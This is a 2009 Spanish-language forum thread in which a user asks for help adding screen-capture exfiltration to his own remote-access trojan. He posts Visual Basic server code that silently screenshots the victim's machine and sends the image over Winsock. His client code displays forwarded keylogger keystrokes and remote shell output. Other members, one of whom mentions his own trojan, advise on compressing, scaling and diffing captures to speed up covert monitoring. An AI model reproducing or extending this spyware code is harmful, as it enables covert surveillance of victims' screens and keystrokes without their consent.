Problema con envio de imagen bmp en VB

Iniciado por 50l3r, 23 Julio 2009, 15:30 PM

0 Miembros y 1 Visitante están viendo este tema.

50l3r

Veran para la 5 version del dioxis queria acoplarle un visor de capturas del host remoto

Lo ya realizado y conseguido con exito ha sido que la cree en el lugar donde se dice en el host remoto, ahora me toca la parte en la que la tengo que enviar

Despues de ir a recursosvb y demas, encontre ejemplos pero que no me han llegado a funcionar bien

La estructura que tengo que seguir es esta

Cliente ordena a servidor que realize la captura
Servidor realiza la captura y manda el tamaño
El cliente recoge el tamaño y manda un mensaje para que envie los datos
El cliente manda los datos


Aqui es donde esta la duda, en el dataarrival del cliente lo tengo asi

dim devu as string
wsk.getdata devu


ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien

con esto quiero decir que si no defino la variable, para variant no funciona, si la pongo en byte no me tiran las ordenes con strings y si la pongo en byte no me funcionan los strings


alguna ayuda quien lo haya entendido?


Jaixon Jax

#1
  :)

 Yo estuve haciendo eso con puertos UDP en c+++ no solo imagenes sino archivos xls,ppt,doc,accb XD  :¬¬ y nunca me llegaba el archivo integro lo que hice fue especificar en el los dos programas cliente y servidor que se envia y se recibe un stream no un string. y emviaba el archivo por partes si era muy grande jeje  :P.

Saludos

50l3r

ya, pero alguna idea para esto?

porque el problema esta en la variable, o envio strings o bytes

Jaixon Jax

 ;D

  Si estas capturando una instantanea de la pantalla y lo estas guardando en bmp Xd en que andas?  :silbar: estos archivos por lo general son grandes de mas de 1MB  :o lo que lo hace muy grande para enviar mas cuando el ancho de banda es limitado como el mio que apenas raya los 30kb  :-( por lo que lo tienes que comprimir y al hacerlo te queda en 80Kb  ;D no se mucho de visual basic pero si tal vez leyeras segmentos del archivo en un stream y lo envias como tal y el el receptor recbiera esos datos como stream claro cliente y servidor de mismo tamaño el puntero  ;) y lo vas uniendo creo que funcionaria mas.

  Saludos  :laugh:

50l3r

lo mejor sera cambiarlo a jpg, me mirare algo por ahi, pero en cuanto a la variable... haber que hago

yovaninu

Cita de: 50l3r en 23 Julio 2009, 15:30 PM
Cliente ordena a servidor que realize la captura
Servidor realiza la captura y manda el tamaño
El cliente recoge el tamaño y manda un mensaje para que envie los datos
El cliente manda los datos

Citar
El cliente manda los datos
Parece que ahi debio ser "Servidor envia los datos"

y a modo de sugerencia puedo decirte los sgte en cuanto a tus capturas:

  • Definitivamente tienes que pasar el BMP a JPG, usando por ejemplo el GDI Plus, en la red hay una clase para basic que usa esas APIS y esta listo para usar
  • Para acelerar la transferencia de la captura, tambien puedes convertirla a escala de grises, de ese modo el archivo ademas de estar en JPG, esta en solo 2 colores (blanco y negro) por lo que se consigue una disminucion entre el 25 y 30% del tamaño original
  • Para reducir mas aun el tiempo de transferencia y el tamaño del archivo puedes "ESCALAR"  la captura, este metodo me ha dado resultados extraordinarios pues una captura de toda la pantalla me ha llegado a pesar 1KB (Un KB), por supuesto que es una captura muy pequeña, de 20x20 pixeles por ejemplo, pero se entiende muy bien pudiendo aumentar el zoom pero sin sobrepasarse en el tamaño, un buen escalado a 8x o 9x en donde se ve casi todo no pasa de los 20 o 25KB y eso es muy muy aceptable para transferirlo
  • Pero hay mas, puedes trozear la captura, es decir que solo mandes a capturar una zona de la pantalla a determinada resolucion, a determinado tamaño, e incluso covertido a escala de grises y escalado, con lo que consigues, buenas capturas, nitidas y de menor tamaño, para una facil transferencia
  • y esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono


Citar
dim devu as string
wsk.getdata devu


ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien
La transferencia de archivos se hace a puro "strings", y no solo de archivos sino de cualquier cosa... si "devu" es string, no hay ningun problema, tu captura se recibira sin problemas en esa variable, claro que hay que estar acumulando cada vez que el servidor vaya enviando el archivo de la captura.
Citar
con esto quiero decir que si no defino la variable, para variant no funciona
Particularmente no uso nunca el tipo variant





Jaixon Jax

#6
Citary esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono

 Digo no para esto tambien seria optimo la captura de video por alli hay unas librerias que permiten hacer todo esto. Pero me parece que hacer esto en el clasico cliente servidor es un poco arriesgado por la cuestion de las ip y los ISP  :silbar: Otra cosa si las imagenes a comparar son capturas de pantalla la podemos comparar por simple comparacion de pixel y ajustar cierto coeficiente de parecido que sean un 80 o 90% en cambio si son fotos ya hay que recurrir a redes neuronales  :huh: XD.

50l3r

asi que con string pasaria? ok, y que lo guardo asi directamente en la imagen?

mira un poquitin esta es la estructura:

El cliente manda la señal para que capture la imagen, la guarde y envie el tamaño



Código (vb) [Seleccionar]
Private Sub Command1_Click()
wsk.SendData "<<-envia-capt->>"
imag3n = "encendido"
End Sub





El servidor coge la señal y manda el tamaño y demas


Código (vb) [Seleccionar]
ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
If ordenimgenv <> 0 Then
Call Capturar_Guardar
End If



Código (vb) [Seleccionar]
Private Sub Capturar_Guardar()
Dim rutaimg As String
MsgBox "cogiendo captura"
rutaimg = Environ$("homedrive") & "\cap.bmp"
If Dir(rutaimg) <> "" Then Kill rutaimg
Clipboard.Clear ' limpiar clipboard
Call keybd_event(44, 2, 0, 0) ' apretar impr pant
DoEvents
If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
If Dir(rutaimg) <> "" Then
wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
MsgBox "envie los datos"
End If
End Sub




El cliente recibe el tamaño y pone la variable imag3n = noimagen para poder recibir los datos y avisa al servidor que le mande los datos


Código (vb) [Seleccionar]
If imag3n = "encendido" Then
    MsgBox "entra a coger tamaño"
        wsk.GetData vData, vbString
        MsgBox vData
        averiarc = InStr(1, vData, ">>|Archivo|<<")
        If averiarc = 0 Then
            imag3n = "noencendido"
            lBytes = 0
            vData = Split(vData, ">>|Archivo|<<")
            lFileSize = vData(1)
            MsgBox "tamaño: " & vData(1)
            ' Le enviamos como mensaje al cliente que comienze el envio del archivo
            wsk.SendData "<<--envia-datos-->>"
           
            'Creamos un archivo en modo binario
            Open rutaimg For Binary Access Write As #1




El servidor recibe la orden y manda los datos



Código (vb) [Seleccionar]
ordenimgenv2 = InStr(1, orden, "<<--envia-datos-->>")
If ordenimgenv2 <> 0 Then
Call enviar_img
End If



Código (vb) [Seleccionar]
Private Sub enviar_img()
Dim imagen As String
Dim Size As Long
Dim arrData() As Byte

imagen = Environ$("homedrive") & "\cap.bmp"

Open imagen For Binary Access Read As #1 ' abrimos la captura

Size = LOF(1) ' obtenemos el tamaño de la captura
ReDim arrData(Size - 1) ' redimensionamos la variable
Get #1, , arrData ' le pasamos todo a la variable
Close

wsk.SendData arrData
End Sub




El cliente esta preparado ya para recibir el archivo


Código (vb) [Seleccionar]
ElseIf imag3n = "noencendido" Then
    MsgBox "entra a coger los datos"
        ' Aumentamos lBytes con los datos que van llegando
        lBytes = lBytes + bytesTotal
        'Recibimos los datos y lo almacenamos en el arry de bytes
        wsk.GetData arrData

        'Escribimos en disco el array de bytes, es decir lo que va llegando
        Put #1, , arrData

        ' Si lo recibido es mayor o igual al tamaño entonces se terminó y cerramos
        'el archivo abierto
        If lBytes >= lFileSize Then
            'Cerramos el archivo
            Close #1
            'Reestablecemos el flag y la variable lBytes por si se intenta enviar otro archivo
            flag = False
            lBytes = 0
            'Mostrar mensaje de finalización
            MsgBox "El archivo se ha recibido por completo"
imag3n = ""
        End If
    End If




Luego en todo caso de que no se quiera recibir imagen sigue con lo demas


Código (vb) [Seleccionar]
Else


wsk.GetData devu

nickcmpr = InStr(1, devu, "<<necesito-nick>>")
If nickcmpr <> 0 Then
MsgBox "Al parecer " & wsk.RemoteHostIP & " necesita nick :_"
nick = InputBox("Pon el nick que desees a " & wsk.RemoteHostIP, "Ingresando nick", "")
wsk.SendData "<<toma-nick>>" & nick
txtnick = nick
Exit Sub
End If

nickcmprr = InStr(1, devu, "<<NICK>>")
If nickcmprr <> 0 Then
ola = Split(devu, "<<NICK>>")
txtnick = ola(1)
Exit Sub
End If

For i = 0 To Len(devu)
busca = InStr(1, devu, ">>|chating>>")
Next

If busca <> 0 Then

mens = Split(devu, ">>|chating>>")

frmchat.Text1.Text = frmchat.Text1.Text & vbCrLf & "El usuario remoto te dice:" & vbCrLf & mens(1) & vbCrLf
Exit Sub
End If


If Left(devu, 10) = "\\TECLAS//" Then

keyko = Split(devu, "\\TECLAS//")

If devu = Chr(13) Then ' si encuentra un enter
frmklg.txtkey.Text = frmklg.txtkey.Text & vbCrLf
Exit Sub
End If

If devu = Chr(9) Then frmklg.txtkey.Text = frmklg.txtkey.Text & Chr(9) ' si encuentra un tabulador

escribiendo:
frmklg.txtkey.Text = frmklg.txtkey.Text + keyko(1)
Exit Sub
End If



' ordenes shell remota

txtdlv.Text = devu

Exit Sub
End If
End Sub



BlackZeroX

en el WinSock del Servidor puedes espesificar la obtencion de datos de la siguiente forma

Código (vb) [Seleccionar]

winsock.getdata Datos, vbString
ó
w.GetData datos, vbByte ' Este nunca lo prove




pero si deseas otra forma puede generar una funcion que transforme el byte en string y viceversa¡!

Dulces Lunas.
The Dark Shadow is my passion.

yovaninu

Citar
Código (vb) [Seleccionar]
Private Sub Command1_Click()
wsk.SendData "<<-envia-capt->>"
imag3n = "encendido"
End Sub



de preferencia usa un booleano para el flag que indicara la recepcion del A R C H I V O de la imagen, por que a las finales es solo eso un archivo.

Citar
Código (vb) [Seleccionar]
ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
[/quote]
usa split, es mas comodo, no deberias liarte mucho con InSTR


[quote]
[code=vb]Private Sub Capturar_Guardar()
Dim rutaimg As String
MsgBox "cogiendo captura"
rutaimg = Environ$("homedrive") & "\cap.bmp"
If Dir(rutaimg) <> "" Then Kill rutaimg
Clipboard.Clear ' limpiar clipboard
Call keybd_event(44, 2, 0, 0) ' apretar impr pant
DoEvents
If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
If Dir(rutaimg) <> "" Then
wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
MsgBox "envie los datos"
End If
End Sub

Citar
te recomiendo que uses otro metodo para capturar la pantalla y no usando la tecla print screen, en vez de ello puedes usar la API bitblt y al respecto encontraras muchas info en el tio google ademas de ser tambien mucho mas cómodo.


Citar
Código (vb) [Seleccionar]

If imag3n = "encendido" Then
    MsgBox "entra a coger tamaño"
        wsk.GetData vData, vbString
        MsgBox vData
        averiarc = InStr(1, vData, ">>|Archivo|<<")
        If averiarc = 0 Then
            imag3n = "noencendido"
            lBytes = 0
            vData = Split(vData, ">>|Archivo|<<")
            lFileSize = vData(1)
            MsgBox "tamaño: " & vData(1)
            ' Le enviamos como mensaje al cliente que comienze el envio del archivo
            wsk.SendData "<<--envia-datos-->>"
           
            'Creamos un archivo en modo binario
            Open rutaimg For Binary Access Write As #1



mira me parece mucho lio, la cosa es simple una vez que el servidor empieza a enviar los datos del archivo (cuando en el cliente el flag este a true), tu lo vas recibendo y acumulando en una variable, luego si el tamaño de dicha variable es igual al tamaño que mas antes recibiste entonces es recien ahi donde creas el archivo y dentro escribes toda la variable (archivo)


Citar
Código (vb) [Seleccionar]
Private Sub enviar_img()
Dim imagen As String
Dim Size As Long
Dim arrData() As Byte

imagen = Environ$("homedrive") & "\cap.bmp"

Open imagen For Binary Access Read As #1 ' abrimos la captura

Size = LOF(1) ' obtenemos el tamaño de la captura
ReDim arrData(Size - 1) ' redimensionamos la variable
Get #1, , arrData ' le pasamos todo a la variable
Close

wsk.SendData arrData
End Sub

ademas no hay necesidad de pasar la imagen a un array, tu solo declara una variable string asi:

Dim DatosArchivo As String

y en esa variable sacas el contenido de la imagen, y es todo.


Suerte con tu capturador, y solo se trata de un archivo mas comun y corriente, saludos.[/code]